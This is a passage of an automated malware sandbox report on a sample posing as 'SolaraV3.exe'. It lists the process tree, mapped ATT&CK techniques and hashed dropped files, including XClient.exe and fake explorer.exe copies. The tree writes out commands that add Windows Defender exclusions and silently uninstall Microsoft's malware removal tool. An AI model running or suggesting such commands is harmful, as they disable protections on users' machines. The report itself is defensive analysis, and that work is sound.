                                                                                                                                            PID:4064
                                                                                                                                    • C:\Users\Admin\AppData\Roaming\explorer.exe
                                                                                                                                      C:\Users\Admin\AppData\Roaming\explorer.exe
                                                                                                                                      1⤵
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      PID:552
                                                                                                                                    • C:\Windows\explorer.exe
                                                                                                                                      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                      1⤵
                                                                                                                                      • Modifies Internet Explorer settings
                                                                                                                                      • Modifies registry class
                                                                                                                                      • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                      • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                      PID:3328
                                                                                                                                    • C:\Windows\System32\rundll32.exe
                                                                                                                                      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {3eef301f-b596-4c0b-bd92-013beafce793} -Embedding
                                                                                                                                      1⤵
                                                                                                                                        PID:3312
                                                                                                                                      • C:\Users\Admin\AppData\Roaming\explorer.exe
                                                                                                                                        C:\Users\Admin\AppData\Roaming\explorer.exe
                                                                                                                                        1⤵
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        PID:2140
                                                                                                                                      • C:\Users\Admin\AppData\Roaming\explorer.exe
                                                                                                                                        C:\Users\Admin\AppData\Roaming\explorer.exe
                                                                                                                                        1⤵
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        PID:2392
                                                                                                                                      • C:\Users\Admin\AppData\Roaming\explorer.exe
                                                                                                                                        C:\Users\Admin\AppData\Roaming\explorer.exe
                                                                                                                                        1⤵
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        PID:5388
                                                                                                                                      • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                                        C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                                        1⤵
                                                                                                                                          PID:5600
                                                                                                                                        • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                                          C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                                          1⤵
                                                                                                                                            PID:5844
                                                                                                                                          • C:\Users\Admin\AppData\Roaming\explorer.exe
                                                                                                                                            C:\Users\Admin\AppData\Roaming\explorer.exe
                                                                                                                                            1⤵
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            PID:3912
                                                                                                                                          • C:\Windows\system32\OpenWith.exe
                                                                                                                                            C:\Windows\system32\OpenWith.exe -Embedding
                                                                                                                                            1⤵
                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                            PID:5436
                                                                                                                                          • C:\Windows\system32\AUDIODG.EXE
                                                                                                                                            C:\Windows\system32\AUDIODG.EXE 0x508 0x31c
                                                                                                                                            1⤵
                                                                                                                                              PID:6016
                                                                                                                                            • C:\Users\Admin\AppData\Roaming\explorer.exe
                                                                                                                                              C:\Users\Admin\AppData\Roaming\explorer.exe
                                                                                                                                              1⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:4756
                                                                                                                                            • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                                                                              "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                                                                              1⤵
                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                              PID:2732
                                                                                                                                            • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                                                                                              "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                                                                                              1⤵
                                                                                                                                              • Modifies Internet Explorer settings
                                                                                                                                              • Modifies registry class
                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                              PID:4568
                                                                                                                                            • C:\Users\Admin\AppData\Roaming\explorer.exe
                                                                                                                                              C:\Users\Admin\AppData\Roaming\explorer.exe
                                                                                                                                              1⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:4484
                                                                                                                                            • C:\Windows\system32\vssvc.exe
                                                                                                                                              C:\Windows\system32\vssvc.exe
                                                                                                                                              1⤵
                                                                                                                                                PID:4600
                                                                                                                                              • C:\Users\Admin\AppData\Roaming\explorer.exe
                                                                                                                                                C:\Users\Admin\AppData\Roaming\explorer.exe
                                                                                                                                                1⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                PID:5548
                                                                                                                                              • C:\Users\Admin\AppData\Roaming\explorer.exe
                                                                                                                                                C:\Users\Admin\AppData\Roaming\explorer.exe
                                                                                                                                                1⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                PID:5436
                                                                                                                                              • C:\ProgramData\SolaraV3.exe
                                                                                                                                                C:\ProgramData\SolaraV3.exe
                                                                                                                                                1⤵
                                                                                                                                                • Drops file in Drivers directory
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                • Drops file in System32 directory
                                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                                PID:2792
                                                                                                                                                • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                                                                  2⤵
                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                  • Drops file in System32 directory
                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                  PID:3408
                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                                  2⤵
                                                                                                                                                    PID:4476
                                                                                                                                                    • C:\Windows\system32\wusa.exe
                                                                                                                                                      wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                                      3⤵
                                                                                                                                                        PID:1848
                                                                                                                                                    • C:\Windows\system32\conhost.exe
                                                                                                                                                      C:\Windows\system32\conhost.exe
                                                                                                                                                      2⤵
                                                                                                                                                        PID:2208
                                                                                                                                                      • C:\Windows\system32\dwm.exe
                                                                                                                                                        dwm.exe
                                                                                                                                                        2⤵
                                                                                                                                                          PID:3344
                                                                                                                                                      • C:\Windows\System32\rundll32.exe
                                                                                                                                                        C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                                                                                                        1⤵
                                                                                                                                                          PID:5256
                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\explorer.exe
                                                                                                                                                          C:\Users\Admin\AppData\Roaming\explorer.exe
                                                                                                                                                          1⤵
                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                          PID:4440
                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\explorer.exe
                                                                                                                                                          C:\Users\Admin\AppData\Roaming\explorer.exe
                                                                                                                                                          1⤵
                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                          PID:5020
                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\explorer.exe
                                                                                                                                                          C:\Users\Admin\AppData\Roaming\explorer.exe
                                                                                                                                                          1⤵
                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                          PID:5468

                                                                                                                                                        Network

                                                                                                                                                        MITRE ATT&CK Enterprise v15

                                                                                                                                                        Reconnaissance

                                                                                                                                                        Resource Development

                                                                                                                                                        Initial Access

                                                                                                                                                        Execution

                                                                                                                                                        Command and Scripting Interpreter

                                                                                                                                                        3
                                                                                                                                                        T1059

                                                                                                                                                        PowerShell

                                                                                                                                                        1
                                                                                                                                                        T1059.001

                                                                                                                                                        Scheduled Task/Job

                                                                                                                                                        1
                                                                                                                                                        T1053

                                                                                                                                                        Scheduled Task

                                                                                                                                                        1
                                                                                                                                                        T1053.005

                                                                                                                                                        System Services

                                                                                                                                                        2
                                                                                                                                                        T1569

                                                                                                                                                        Service Execution

                                                                                                                                                        2
                                                                                                                                                        T1569.002

                                                                                                                                                        Persistence

                                                                                                                                                        Boot or Logon Autostart Execution

                                                                                                                                                        2
                                                                                                                                                        T1547

                                                                                                                                                        Active Setup

                                                                                                                                                        1
                                                                                                                                                        T1547.014

                                                                                                                                                        Registry Run Keys / Startup Folder

                                                                                                                                                        1
                                                                                                                                                        T1547.001

                                                                                                                                                        Create or Modify System Process

                                                                                                                                                        4
                                                                                                                                                        T1543

                                                                                                                                                        Windows Service

                                                                                                                                                        4
                                                                                                                                                        T1543.003

                                                                                                                                                        Event Triggered Execution

                                                                                                                                                        1
                                                                                                                                                        T1546

                                                                                                                                                        Netsh Helper DLL

                                                                                                                                                        1
                                                                                                                                                        T1546.007

                                                                                                                                                        Pre-OS Boot

                                                                                                                                                        1
                                                                                                                                                        T1542

                                                                                                                                                        Bootkit

                                                                                                                                                        1
                                                                                                                                                        T1542.003

                                                                                                                                                        Scheduled Task/Job

                                                                                                                                                        1
                                                                                                                                                        T1053

                                                                                                                                                        Scheduled Task

                                                                                                                                                        1
                                                                                                                                                        T1053.005

                                                                                                                                                        Privilege Escalation

                                                                                                                                                        Abuse Elevation Control Mechanism

                                                                                                                                                        1
                                                                                                                                                        T1548

                                                                                                                                                        Bypass User Account Control

                                                                                                                                                        1
                                                                                                                                                        T1548.002

                                                                                                                                                        Boot or Logon Autostart Execution

                                                                                                                                                        2
                                                                                                                                                        T1547

                                                                                                                                                        Active Setup

                                                                                                                                                        1
                                                                                                                                                        T1547.014

                                                                                                                                                        Registry Run Keys / Startup Folder

                                                                                                                                                        1
                                                                                                                                                        T1547.001

                                                                                                                                                        Create or Modify System Process

                                                                                                                                                        4
                                                                                                                                                        T1543

                                                                                                                                                        Windows Service

                                                                                                                                                        4
                                                                                                                                                        T1543.003

                                                                                                                                                        Event Triggered Execution

                                                                                                                                                        1
                                                                                                                                                        T1546

                                                                                                                                                        Netsh Helper DLL

                                                                                                                                                        1
                                                                                                                                                        T1546.007

                                                                                                                                                        Scheduled Task/Job

                                                                                                                                                        1
                                                                                                                                                        T1053

                                                                                                                                                        Scheduled Task

                                                                                                                                                        1
                                                                                                                                                        T1053.005

                                                                                                                                                        Defense Evasion

                                                                                                                                                        Abuse Elevation Control Mechanism

                                                                                                                                                        1
                                                                                                                                                        T1548

                                                                                                                                                        Bypass User Account Control

                                                                                                                                                        1
                                                                                                                                                        T1548.002

                                                                                                                                                        Impair Defenses

                                                                                                                                                        4
                                                                                                                                                        T1562

                                                                                                                                                        Disable or Modify System Firewall

                                                                                                                                                        1
                                                                                                                                                        T1562.004

                                                                                                                                                        Disable or Modify Tools

                                                                                                                                                        2
                                                                                                                                                        T1562.001

                                                                                                                                                        Modify Registry

                                                                                                                                                        7
                                                                                                                                                        T1112

                                                                                                                                                        Pre-OS Boot

                                                                                                                                                        1
                                                                                                                                                        T1542

                                                                                                                                                        Bootkit

                                                                                                                                                        1
                                                                                                                                                        T1542.003

                                                                                                                                                        Credential Access

                                                                                                                                                        Credentials from Password Stores

                                                                                                                                                        1
                                                                                                                                                        T1555

                                                                                                                                                        Credentials from Web Browsers

                                                                                                                                                        1
                                                                                                                                                        T1555.003

                                                                                                                                                        Unsecured Credentials

                                                                                                                                                        1
                                                                                                                                                        T1552

                                                                                                                                                        Credentials In Files

                                                                                                                                                        1
                                                                                                                                                        T1552.001

                                                                                                                                                        Discovery

                                                                                                                                                        Browser Information Discovery

                                                                                                                                                        1
                                                                                                                                                        T1217

                                                                                                                                                        Peripheral Device Discovery

                                                                                                                                                        2
                                                                                                                                                        T1120

                                                                                                                                                        Query Registry

                                                                                                                                                        6
                                                                                                                                                        T1012

                                                                                                                                                        System Information Discovery

                                                                                                                                                        7
                                                                                                                                                        T1082

                                                                                                                                                        System Location Discovery

                                                                                                                                                        1
                                                                                                                                                        T1614

                                                                                                                                                        System Language Discovery

                                                                                                                                                        1
                                                                                                                                                        T1614.001

                                                                                                                                                        Lateral Movement

                                                                                                                                                        Collection

                                                                                                                                                        Data from Local System

                                                                                                                                                        1
                                                                                                                                                        T1005

                                                                                                                                                        Command and Control

                                                                                                                                                        Web Service

                                                                                                                                                        1
                                                                                                                                                        T1102

                                                                                                                                                        Exfiltration

                                                                                                                                                        Impact

                                                                                                                                                        Defacement

                                                                                                                                                        1
                                                                                                                                                        T1491

                                                                                                                                                        Service Stop

                                                                                                                                                        1
                                                                                                                                                        T1489

                                                                                                                                                        Replay Monitor

                                                                                                                                                        Loading Replay Monitor...

                                                                                                                                                        Downloads

                                                                                                                                                        • C:\Config.Msi\e57e90b.rbs
                                                                                                                                                          Filesize

                                                                                                                                                          1.0MB

                                                                                                                                                          MD5

                                                                                                                                                          db4d29e9f201b15291f4b64c65a85647

                                                                                                                                                          SHA1

                                                                                                                                                          8e278afc0f6ebdaf6ffe140c09c4ed201c7f14fe

                                                                                                                                                          SHA256

                                                                                                                                                          243765e88ff82e5c7620b764c24324cef5bd5b78bdf3d87cda38ecad1175f422

                                                                                                                                                          SHA512

                                                                                                                                                          5b3d5666d98a2d4f63b94e968d26c8995a9e0027806667aab60978ce769241c15fac50d265f832689281141bdb83fcaf615a3d5fdb0e85b3506950a2f4da47fe

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Program Files\nodejs\node_etw_provider.man
                                                                                                                                                          Filesize

                                                                                                                                                          10KB

                                                                                                                                                          MD5

                                                                                                                                                          1d51e18a7247f47245b0751f16119498

                                                                                                                                                          SHA1

                                                                                                                                                          78f5d95dd07c0fcee43c6d4feab12d802d194d95

                                                                                                                                                          SHA256

                                                                                                                                                          1975aa34c1050b8364491394cebf6e668e2337c3107712e3eeca311262c7c46f

                                                                                                                                                          SHA512

                                                                                                                                                          1eccbe4ddae3d941b36616a202e5bd1b21d8e181810430a1c390513060ae9e3f12cd23f5b66ae0630fd6496b3139e2cc313381b5506465040e5a7a3543444e76

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Program Files\nodejs\node_etw_provider.man
                                                                                                                                                          Filesize

                                                                                                                                                          8KB

                                                                                                                                                          MD5

                                                                                                                                                          d3bc164e23e694c644e0b1ce3e3f9910

                                                                                                                                                          SHA1

                                                                                                                                                          1849f8b1326111b5d4d93febc2bafb3856e601bb

                                                                                                                                                          SHA256

                                                                                                                                                          1185aaa5af804c6bc6925f5202e68bb2254016509847cd382a015907440d86b4

                                                                                                                                                          SHA512

                                                                                                                                                          91ebff613f4c35c625bb9b450726167fb77b035666ed635acf75ca992c4846d952655a2513b4ecb8ca6f19640d57555f2a4af3538b676c3bd2ea1094c4992854

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\arborist\LICENSE.md
                                                                                                                                                          Filesize

                                                                                                                                                          818B

                                                                                                                                                          MD5

                                                                                                                                                          2916d8b51a5cc0a350d64389bc07aef6

                                                                                                                                                          SHA1

                                                                                                                                                          c9d5ac416c1dd7945651bee712dbed4d158d09e1

                                                                                                                                                          SHA256

                                                                                                                                                          733dcbf5b1c95dc765b76db969b998ce0cbb26f01be2e55e7bccd6c7af29cb04

                                                                                                                                                          SHA512

                                                                                                                                                          508c5d1842968c478e6b42b94e04e0b53a342dfaf52d55882fdcfe02c98186e9701983ab5e9726259fba8336282e20126c70d04fc57964027586a40e96c56b74

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Program Files\nodejs\node_modules\npm\node_modules\aggregate-error\license
                                                                                                                                                          Filesize

                                                                                                                                                          1KB

                                                                                                                                                          MD5

                                                                                                                                                          5ad87d95c13094fa67f25442ff521efd

                                                                                                                                                          SHA1

                                                                                                                                                          01f1438a98e1b796e05a74131e6bb9d66c9e8542

                                                                                                                                                          SHA256

                                                                                                                                                          67292c32894c8ac99db06ffa1cb8e9a5171ef988120723ebe673bf76712260ec

                                                                                                                                                          SHA512

                                                                                                                                                          7187720ccd335a10c9698f8493d6caa2d404e7b21731009de5f0da51ad5b9604645fbf4bc640aa94513b9eb372aa6a31df2467198989234bc2afbce87f76fbc3

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Program Files\nodejs\node_modules\npm\node_modules\bin-links\LICENSE
                                                                                                                                                          Filesize

                                                                                                                                                          754B

                                                                                                                                                          MD5

                                                                                                                                                          d2cf52aa43e18fdc87562d4c1303f46a

                                                                                                                                                          SHA1

                                                                                                                                                          58fb4a65fffb438630351e7cafd322579817e5e1

                                                                                                                                                          SHA256

                                                                                                                                                          45e433413760dc3ae8169be5ed9c2c77adc31ad4d1bc5a28939576df240f29a0

                                                                                                                                                          SHA512

                                                                                                                                                          54e33d7998b5e9ba76b2c852b4d0493ebb1b1ee3db777c97e6606655325ff66124a0c0857ca4d62de96350dbaee8d20604ec22b0edc17b472086da4babbbcb16

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Program Files\nodejs\node_modules\npm\node_modules\libnpmhook\LICENSE.md
                                                                                                                                                          Filesize

                                                                                                                                                          771B

                                                                                                                                                          MD5

                                                                                                                                                          e9dc66f98e5f7ff720bf603fff36ebc5

                                                                                                                                                          SHA1

                                                                                                                                                          f2b428eead844c4bf39ca0d0cf61f6b10aeeb93b

                                                                                                                                                          SHA256

                                                                                                                                                          b49c8d25a8b57fa92b2902d09c4b8a809157ee32fc10d17b7dbb43c4a8038f79

                                                                                                                                                          SHA512

                                                                                                                                                          8027d65e1556511c884cb80d3c1b846fc9d321f3f83002664ad3805c4dee8e6b0eaf1db81c459153977bdbde9e760b0184ba6572f68d78c37bff617646bcfc3b

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Program Files\nodejs\node_modules\npm\node_modules\libnpmorg\LICENSE
                                                                                                                                                          Filesize

                                                                                                                                                          730B

                                                                                                                                                          MD5

                                                                                                                                                          072ac9ab0c4667f8f876becedfe10ee0

                                                                                                                                                          SHA1

                                                                                                                                                          0227492dcdc7fb8de1d14f9d3421c333230cf8fe

                                                                                                                                                          SHA256

                                                                                                                                                          2ef361317adeda98117f14c5110182c28eae233af1f7050c83d4396961d14013

                                                                                                                                                          SHA512

                                                                                                                                                          f38fd6506bd9795bb27d31f1ce38b08c9e6f1689c34fca90e9e1d5194fa064d1f34a9c51d15941506ebbbcd6d4193055e9664892521b7e39ebcd61c3b6f25013

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Program Files\nodejs\node_modules\npm\node_modules\minipass-pipeline\node_modules\minipass\package.json
                                                                                                                                                          Filesize

                                                                                                                                                          1KB

                                                                                                                                                          MD5

                                                                                                                                                          d116a360376e31950428ed26eae9ffd4

                                                                                                                                                          SHA1

                                                                                                                                                          192b8e06fb4e1f97e5c5c7bf62a9bff7704c198b

                                                                                                                                                          SHA256

                                                                                                                                                          c3052bd85910be313e38ad355528d527b565e70ef15a784db3279649eee2ded5

                                                                                                                                                          SHA512

                                                                                                                                                          5221c7648f4299234a4637c47d3f1eb5e147014704913bc6fdad91b9b6a6ccc109bced63376b82b046bb5cad708464c76fb452365b76dbf53161914acf8fb11a

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Program Files\nodejs\node_modules\npm\node_modules\minizlib\node_modules\minipass\LICENSE
                                                                                                                                                          Filesize

                                                                                                                                                          802B

                                                                                                                                                          MD5

                                                                                                                                                          d7c8fab641cd22d2cd30d2999cc77040

                                                                                                                                                          SHA1

                                                                                                                                                          d293601583b1454ad5415260e4378217d569538e

                                                                                                                                                          SHA256

                                                                                                                                                          04400db77d925de5b0264f6db5b44fe6f8b94f9419ad3473caaa8065c525c0be

                                                                                                                                                          SHA512

                                                                                                                                                          278ff929904be0c19ee5fb836f205e3e5b3e7cec3d26dd42bbf1e7e0ca891bf9c42d2b28fce3741ae92e4a924baf7490c7c6c59284127081015a82e2653e0764

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Program Files\nodejs\node_modules\npm\node_modules\minizlib\node_modules\minipass\index.js
                                                                                                                                                          Filesize

                                                                                                                                                          16KB

                                                                                                                                                          MD5

                                                                                                                                                          bc0c0eeede037aa152345ab1f9774e92

                                                                                                                                                          SHA1

                                                                                                                                                          56e0f71900f0ef8294e46757ec14c0c11ed31d4e

                                                                                                                                                          SHA256

                                                                                                                                                          7a395802fbe01bb3dc8d09586e0864f255874bf897378e546444fbaec29f54c5

                                                                                                                                                          SHA512

                                                                                                                                                          5f31251825554bf9ed99eda282fa1973fcec4a078796a10757f4fb5592f2783c4ebdd00bdf0d7ed30f82f54a7668446a372039e9d4589db52a75060ca82186b3

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Program Files\nodejs\node_modules\npm\node_modules\nopt\LICENSE
                                                                                                                                                          Filesize

                                                                                                                                                          780B

                                                                                                                                                          MD5

                                                                                                                                                          b020de8f88eacc104c21d6e6cacc636d

                                                                                                                                                          SHA1

                                                                                                                                                          20b35e641e3a5ea25f012e13d69fab37e3d68d6b

                                                                                                                                                          SHA256

                                                                                                                                                          3f24d692d165989cd9a00fe35ca15a2bc6859e3361fa42aa20babd435f2e4706

                                                                                                                                                          SHA512

                                                                                                                                                          4220617e29dd755ad592295bc074d6bc14d44a1feeed5101129669f3ecf0e34eaa4c7c96bbc83da7352631fa262baab45d4a370dad7dabec52b66f1720c28e38

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Program Files\nodejs\node_modules\npm\node_modules\promise-all-reject-late\LICENSE
                                                                                                                                                          Filesize

                                                                                                                                                          763B

                                                                                                                                                          MD5

                                                                                                                                                          7428aa9f83c500c4a434f8848ee23851

                                                                                                                                                          SHA1

                                                                                                                                                          166b3e1c1b7d7cb7b070108876492529f546219f

                                                                                                                                                          SHA256

                                                                                                                                                          1fccd0ad2e7e0e31ddfadeaf0660d7318947b425324645aa85afd7227cab52d7

                                                                                                                                                          SHA512

                                                                                                                                                          c7f01de85f0660560206784cdf159b2bdc5f1bc87131f5a8edf384eba47a113005491520b0a25d3cc425985b5def7b189e18ff76d7d562c434dc5d8c82e90cce

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Program Files\nodejs\node_modules\npm\node_modules\tar\node_modules\fs-minipass\node_modules\minipass\index.d.ts
                                                                                                                                                          Filesize

                                                                                                                                                          4KB

                                                                                                                                                          MD5

                                                                                                                                                          f0bd53316e08991d94586331f9c11d97

                                                                                                                                                          SHA1

                                                                                                                                                          f5a7a6dc0da46c3e077764cfb3e928c4a75d383e

                                                                                                                                                          SHA256

                                                                                                                                                          dd3eda3596af30eda88b4c6c2156d3af6e7fa221f39c46e492c5e9fb697e2fef

                                                                                                                                                          SHA512

                                                                                                                                                          fd6affbaed67d09cf45478f38e92b8ca6c27650a232cbbeaff36e4f7554fb731ae44cf732378641312e98221539e3d8fabe80a7814e4f425026202de44eb5839

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Program Files\nodejs\node_modules\npm\node_modules\treeverse\LICENSE
                                                                                                                                                          Filesize

                                                                                                                                                          771B

                                                                                                                                                          MD5

                                                                                                                                                          1d7c74bcd1904d125f6aff37749dc069

                                                                                                                                                          SHA1

                                                                                                                                                          21e6dfe0fffc2f3ec97594aa261929a3ea9cf2ab

                                                                                                                                                          SHA256

                                                                                                                                                          24b8d53712087b867030d18f2bd6d1a72c78f9fb4dee0ce025374da25e4443b9

                                                                                                                                                          SHA512

                                                                                                                                                          b5ac03addd29ba82fc05eea8d8d09e0f2fa9814d0dd619c2f7b209a67d95b538c3c2ff70408641ef3704f6a14e710e56f4bf57c2bb3f8957ba164f28ee591778

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Node.js\Node.js documentation.url
                                                                                                                                                          Filesize

                                                                                                                                                          168B

                                                                                                                                                          MD5

                                                                                                                                                          db7dbbc86e432573e54dedbcc02cb4a1

                                                                                                                                                          SHA1

                                                                                                                                                          cff9cfb98cff2d86b35dc680b405e8036bbbda47

                                                                                                                                                          SHA256

                                                                                                                                                          7cf8a9c96f9016132be81fd89f9573566b7dc70244a28eb59d573c2fdba1def9

                                                                                                                                                          SHA512

                                                                                                                                                          8f35f2e7dac250c66b209acecab836d3ecf244857b81bacebc214f0956ec108585990f23ff3f741678e371b0bee78dd50029d0af257a3bb6ab3b43df1e39f2ec

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Node.js\Node.js website.url
                                                                                                                                                          Filesize

                                                                                                                                                          133B

                                                                                                                                                          MD5

                                                                                                                                                          35b86e177ab52108bd9fed7425a9e34a

                                                                                                                                                          SHA1

                                                                                                                                                          76a1f47a10e3ab829f676838147875d75022c70c

                                                                                                                                                          SHA256

                                                                                                                                                          afaa6c6335bd3db79e46fb9d4d54d893cee9288e6bb4738294806a9751657319

                                                                                                                                                          SHA512

                                                                                                                                                          3c8047c94b789c8496af3c2502896cef2d348ee31618893b9b71244af667ec291dcb9b840f869eb984624660086db0c848d1846aa601893e6f9955e56da19f62

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\ProgramData\Solara\Newtonsoft.Json.dll
                                                                                                                                                          Filesize

                                                                                                                                                          695KB

                                                                                                                                                          MD5

                                                                                                                                                          195ffb7167db3219b217c4fd439eedd6

                                                                                                                                                          SHA1

                                                                                                                                                          1e76e6099570ede620b76ed47cf8d03a936d49f8

                                                                                                                                                          SHA256

                                                                                                                                                          e1e27af7b07eeedf5ce71a9255f0422816a6fc5849a483c6714e1b472044fa9d

                                                                                                                                                          SHA512

                                                                                                                                                          56eb7f070929b239642dab729537dde2c2287bdb852ad9e80b5358c74b14bc2b2dded910d0e3b6304ea27eb587e5f19db0a92e1cbae6a70fb20b4ef05057e4ac

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\ProgramData\Solara\Solara.exe
                                                                                                                                                          Filesize

                                                                                                                                                          133KB

                                                                                                                                                          MD5

                                                                                                                                                          c6f770cbb24248537558c1f06f7ff855

                                                                                                                                                          SHA1

                                                                                                                                                          fdc2aaae292c32a58ea4d9974a31ece26628fdd7

                                                                                                                                                          SHA256

                                                                                                                                                          d1e4a542fa75f6a6fb636b5de6f7616e2827a79556d3d9a4afc3ecb47f0beb2b

                                                                                                                                                          SHA512

                                                                                                                                                          cac56c58bd01341ec3ff102fe04fdb66625baad1d3dd7127907cd8453d2c6e2226ad41033e16ba20413a509fc7c826e4fdc0c0d553175eb6f164c2fc0906614a

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\ProgramData\Solara\Wpf.Ui.dll
                                                                                                                                                          Filesize

                                                                                                                                                          5.2MB

                                                                                                                                                          MD5

                                                                                                                                                          aead90ab96e2853f59be27c4ec1e4853

                                                                                                                                                          SHA1

                                                                                                                                                          43cdedde26488d3209e17efff9a51e1f944eb35f

                                                                                                                                                          SHA256

                                                                                                                                                          46cfbe804b29c500ebc0b39372e64c4c8b4f7a8e9b220b5f26a9adf42fcb2aed

                                                                                                                                                          SHA512

                                                                                                                                                          f5044f2ee63906287460b9adabfcf3c93c60b51c86549e33474c4d7f81c4f86cd03cd611df94de31804c53006977874b8deb67c4bf9ea1c2b70c459b3a44b38d

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\ProgramData\XClient.exe
                                                                                                                                                          Filesize

                                                                                                                                                          162KB

                                                                                                                                                          MD5

                                                                                                                                                          fa801c8c693f44ae2dd206328679eceb

                                                                                                                                                          SHA1

                                                                                                                                                          c43d9eb416eb0c5e3343cc9e22aad953ef80bc03

                                                                                                                                                          SHA256

                                                                                                                                                          bb3dbae1b7d02802d7896a7cfe4e66f53fd859778fcd33262a12757c7b38a450

                                                                                                                                                          SHA512

                                                                                                                                                          f61a7e66ec6d9103feef3b46db357ed86ac463bed11a59ea7500db353fe959aa328b34787050f4fec2e977f3be0ee799655be0a3ea9dff1a9c7f90dbb3ab80d1

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\explorer.exe.log
                                                                                                                                                          Filesize

                                                                                                                                                          654B

                                                                                                                                                          MD5

                                                                                                                                                          2ff39f6c7249774be85fd60a8f9a245e

                                                                                                                                                          SHA1

                                                                                                                                                          684ff36b31aedc1e587c8496c02722c6698c1c4e

                                                                                                                                                          SHA256

                                                                                                                                                          e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

                                                                                                                                                          SHA512

                                                                                                                                                          1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                                                                                                                          Filesize

                                                                                                                                                          2KB

                                                                                                                                                          MD5

                                                                                                                                                          d85ba6ff808d9e5444a4b369f5bc2730

                                                                                                                                                          SHA1

                                                                                                                                                          31aa9d96590fff6981b315e0b391b575e4c0804a

                                                                                                                                                          SHA256

                                                                                                                                                          84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                                                                                                                                          SHA512

                                                                                                                                                          8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\CrashpadMetrics-active.pma
                                                                                                                                                          Filesize

                                                                                                                                                          16KB

                                                                                                                                                          MD5

